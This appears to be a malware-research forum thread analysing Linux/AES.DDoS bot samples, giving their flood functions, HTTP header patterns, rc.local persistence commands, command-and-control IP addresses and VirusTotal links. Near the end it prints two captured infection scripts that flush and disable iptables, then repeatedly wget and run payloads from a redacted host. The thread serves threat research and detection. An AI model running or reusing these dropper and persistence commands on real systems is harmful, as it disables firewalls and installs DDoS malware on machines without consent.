[unixfreaxjp]

Same source provides this 4MB+ flooder (AES.DDoS full version) https://www.virustotal.com/en/file/fdde ... 412505809/

Attack ffrom China address was recorded well. PoC of cyber crime:

AES chiper PoC

Code: Select all

AES::AES(uchar *)
AES::~AES(void)
AES::Cipher(uchar *)
AES::InvCipher(uchar *)
AES::Cipher(void *,int)
AES::InvCipher(void *,int)
AES::KeyExpansion(uchar *,uchar *[3][3])
AES::FFmul(uchar,uchar)
AES::SubBytes(uchar *[3])
AES::ShiftRows(uchar *[3])
AES::MixColumns(uchar *[3])
AES::AddRoundKey(uchar *[3],uchar *[3])
AES::InvSubBytes(uchar *[3])
AES::InvShiftRows(uchar *[3])
AES::InvMixColumns(uchar *[3])

Flooder:

Code: Select all

DNS_Flood1(void *)
DNS_Flood2(void *)
DNS_Flood3(void *)
DNS_Flood4(void *)
SYN_Flood(void *) 
LSYN_Flood(void *)
UDP_Flood(void *) 
UDPS_Flood(void *)
TCP_Flood(void *) 
CC_Flood(void *)  
CC2_Flood(void *) 
CC3_Flood(void *)

2 pattern user-agents

Code: Select all

User-Agent:Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
HTTP/1.1

User-Agent:Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.0; MyIE 3.01)
Accept: text/html, */*
HTTP/1.1

daemon startup NOT xinetd but rc.local base:

Code: Select all

sed -i -e '/exit/d' /etc/rc.local
sed -i -e '/%s/d' /etc/rc.local

CNC (IP basis)

Code: Select all

222.186.34.152:48080
ASN: 23650 | 222.186.34.0/23 | CHINANET-JS-AS | CN | CHINATELECOM.COM.CN | CHINANET JIANGSU PROVINCE NETWORK

thx @wirehack7

[unixfreaxjp]

https://www.virustotal.com/en/file/42fe ... 412509775/
https://www.virustotal.com/en/file/dfe4 ... 412509784/
↑As per shown in the filename, MIPS and ARM version of Linux/AES.DDoS variant.
This version for ARM/MIPS only has TCP, CC, CC2 and CC3 attack variations.
The download hits was incredibly high despites of the fact it was just being uploaded < a warning!

Attack logs from an IP in China:

CNC is in IP base same as http://www.kernelmode.info/forum/viewto ... =10#p24054 or http://www.kernelmode.info/forum/viewto ... 483#p24053

Code: Select all

222.186.34.152 | 23650 | 222.186.34.0/23 | CHINANET-JS-AS | CN | CHINATELECOM.COM.CN | CHINANET JIANGSU PROVINCE NETWORK

Noted these installation for autostart:

Code: Select all

sed -i -e '/$/d' /etc/rc.local
sed -i -e '/exit/d' /etc/rc.local
sed -i -e '/%s/d' /etc/rc.local
sed -i -e '2 i%s/%s' /etc/rc.local
sed -i -e '2 i%s/%s start' /etc/rc.d/rc.local
sed -i -e '2 i%s/%s start' /etc/init.d/boot.local

Thx wireshark for samples | #MMD!

[unixfreaxjp]

MIPS version of AES.DDoS from different sources, worth to write a bit:
https://www.virustotal.com/en/file/74f9 ... 412642201/
https://www.virustotal.com/en/file/9550 ... 412644091/
Compiled with

Code: Select all

GCC: (Sourcery CodeBench 2014.05-6) 4.8.3 20140320 (prerelease)

With sources:

Code: Select all

 AES.cpp
 main.cpp

Autostart install:

Code: Select all

sed -i -e '/exit/d' /etc/rc.local
sed -i -e '/$/d' /etc/rc.local
sed -i -e '/%s/d' /etc/rc.local
sed -i -e '2 i%s/%s' /etc/rc.local
sed -i -e '2 i%s/%s start' /etc/rc.d/rc.local
sed -i -e '2 i%s/%s start' /etc/init.d/boot.local

Typical:

Code: Select all

Unknown
VERSONEX:Linux-%s|%d|%d MHz|%dMB|%dMB|%s
Hacker
VERSONEX:Linux-%s-mips|%d|%d MHz|%dMB|%dMB|%s

AES:

Code: Select all

J^X3AES
AES.cpp
_ZN3AESC2EPh
_ZN3AES9InvCipherEPvi
_ZN3AESD2Ev
_ZN3AESC1EPh
_ZTI3AES
_ZN3AES11InvSubBytesEPA4_h
_ZN3AES5FFmulEhh
_ZN3AES13InvMixColumnsEPA4_h
_ZN3AES8SubBytesEPA4_h
_ZN3AESD1Ev
_ZN3AES10MixColumnsEPA4_h
_ZN3AES9ShiftRowsEPA4_h
_ZN3AES12InvShiftRowsEPA4_h
_ZN3AESD0Ev
_ZTV3AES
_ZN3AES9InvCipherEPh
_ZN3AES11AddRoundKeyEPA4_hS1_
_ZN3AES6CipherEPvi
_ZN3AES12KeyExpansionEPhPA4_A4_h
_ZTS3AES
_ZN3AES6CipherEPh

HTTP header used:

Code: Select all

// method:
GET 
 HTTP/1.1
// pattern #1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Host:
Connection: Keep-Alive
// pattern #2:
Accept: text/html, application/xhtml+xml, */*
Accept-Language: zh-CN
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Accept-Encoding: gzip, deflate
Host: 
Connection: Keep-Alive
Pragma: no-cache

CNC (ip basis)

Code: Select all

218.244.148.150||37963 | 218.244.128.0/19 | CNNIC-ALIBABA-CN-NET | CN | - | HICHINA TELECOM NET

[unixfreaxjp]

Same source as per previous MIPS version http://www.kernelmode.info/forum/viewto ... 067#p24067
This is the ARM version. CNC: 218.244.148.150 (china)
VT: https://www.virustotal.com/en/file/c327 ... 412644835/
Flooder:

Code: Select all

TCP flood, CC, CC2, CC3

[unixfreaxjp]

Another "twain" series, this time is x32, stripped and unstripped ELF ;)
https://www.virustotal.com/en/file/d6a0 ... 412649418/
https://www.virustotal.com/en/file/a7f9 ... 412649421/
CNC: 218.244.148.150
Loc: ASN: 37963 | 218.244.128.0/19 | CNNIC-ALIBABA-CN-NET | CN | - | HICHINA TELECOM NET

[unixfreaxjp]

These samples are obviously aiming routers, see the "WRT" used as file name:

thanks benkow for attack report
https://www.virustotal.com/en/file/d10b ... 412861105/
https://www.virustotal.com/en/file/fa2c ... 412861136/
https://www.virustotal.com/en/file/c702 ... 412861169/
CNC:

Code: Select all

124.173.118.167
Loc: 124.173.118.167||4134 | 124.172.0.0/15 | CHINANET | CN | SZGWBN.NET.CN | WORLD CROSSING TELECOM (GUANGZHOU) LTD.

[unixfreaxjp]

Recent three samples built for MIPS & ARM arch in new panel:

https://www.virustotal.com/en/file/5682 ... 413364160/ mips
https://www.virustotal.com/en/file/9e11 ... 413364187/ arm
https://www.virustotal.com/en/file/1bfe ... 413364226/ mips
thx to @leonvdijk for the report

[unixfreaxjp]

New one (uploaded 3days ago with 20+ hits) for x32, with the unchanged details as: http://www.kernelmode.info/forum/viewto ... 483#p23869
Weaponized with the flood function as per : http://www.kernelmode.info/forum/viewto ... 483#p23959
Panel:

VT: https://www.virustotal.com/en/file/da1e ... 414072434/
CNC PoC:

Code: Select all

connect(1, {sa_family=AF_INET, sin_port=htons(48080), sin_addr=inet_addr("116.255.162.80")}, 16
TCP mmdbangsjerks.malwaremustdie.org:52434->116.255.162.80:48080 (ESTABLISHED)
Connection to 116.255.162.80 48080 port [tcp/*] succeeded!
^C
$ date
Thu Oct 23 23:34:00 JST 2014

CNC Location:

Code: Select all

116.255.162.80||37943 | 116.255.128.0/17 | CNNIC | CN | - | ZHENGZHOU GIANT COMPUTER NETWORK TECHNOLOGY CO. LTD

[unixfreaxjp]

A serious amount of infection script and ELF malware spotted in a panel.

The scripts were used to disarmed the firewall and as cascade downloading & executing ALL of ELF AES.DDoS malware served in this panels, snips:

Code: Select all

#!/bin/bash
iptables -F 
/etc/init.d/iptables stop
chkconfig iptables off
rm -f /tmp/xcc*
cd /tmp/;wget http://xxxxx/xcc1;chmod a+x xcc1;./xcc1
if [ $? -eq 0 ];then

else
  
while true

do
    ps | grep xcc* | grep -v grep 
    if [ $? -eq 0 ];then
         sleep 60
   else 
    cd /tmp/;wget http://xxxxx/xcc1;chmod a+x xcc1;./xcc1
   fi
    ps | grep script.sh | grep -v grep
    if [ $? -eq 0 ];then
         sleep 60
   else
cd /tmp;wget http://xxxxx/script.sh ; chmod a+x script.sh;./script.sh
   fi 
done

and..

Code: Select all

#!/bin/bash
iptables -F 
/etc/init.d/iptables stop
chkconfig iptables off
rm -f /tmp/xcc*
while true

do
    ps | grep xcc* | grep -v grep 
    if [ $? -eq 0 ];then
         sleep 60
   else 
    cd /tmp/;wget http://xxxxx/xcc2;chmod a+x xcc2;./xcc2
   fi
    ps | grep script1.sh | grep -v grep
    if [ $? -eq 0 ];then
         sleep 60
   else
cd /tmp;wget http://xxxxx/script1.sh ; chmod a+x script1.sh;sh script1.sh
   fi 
done

..and so on..
Samples are below, leads to multiple CNC as per written in VT
https://www.virustotal.com/en/file/8468 ... 414221880/
https://www.virustotal.com/en/file/e5f4 ... 414225695/
https://www.virustotal.com/en/file/da1e ... 414225854/
https://www.virustotal.com/en/file/da1e ... 414225854/
https://www.virustotal.com/en/file/575f ... 414226374/
Reported credit: wirehack7
DISCLAIMER:
This is the MalwareMustDie ELF team work, posted ONLY in kernelmode as repository, it is shared to the community, don't use this information for publishment withourt mentioning to MMD or KM.
All of data is bound to: http://blog.malwaremustdie.org/p/the-ru ... es-we.html

[unixfreaxjp]

A new and big deal of payloads isn't it? ↓ (thx: shibumi)
All of these are AES.DDoS compiled in multi architecture. Intel, MIPS & ARM

The xx ones are a copy of the "other" types so only 5 unique samples:
https://www.virustotal.com/en/file/0df5 ... 414244976/
https://www.virustotal.com/en/file/d6a8 ... 414245012/
https://www.virustotal.com/en/file/d9cf ... 414245153/
https://www.virustotal.com/en/file/52e8 ... 414245179/
https://www.virustotal.com/en/file/86c0 ... 414245203/
As re reversed, this ELFs will soon firing up ddos as soon as executed, you can not stop it (easily), so don't do that.
CNC are the same, and all lead to United States of America network :o

Code: Select all

Cracked: sa_family=AF_INET, sin_port=htons(48080), sin_addr=inet_addr("104.194.25.172")
PoC: TCP ifuckddos.malwaremustdie.org:43063->104.194.25.172:48080 (ESTABLISHED)
104.194.25.172||36114 | 104.194.0.0/19 | VERSAWEB-ASN | US | VERSAWEB.COM | VERSAWEB LLC

The detection ratio is very good, thank you for paying attention folks!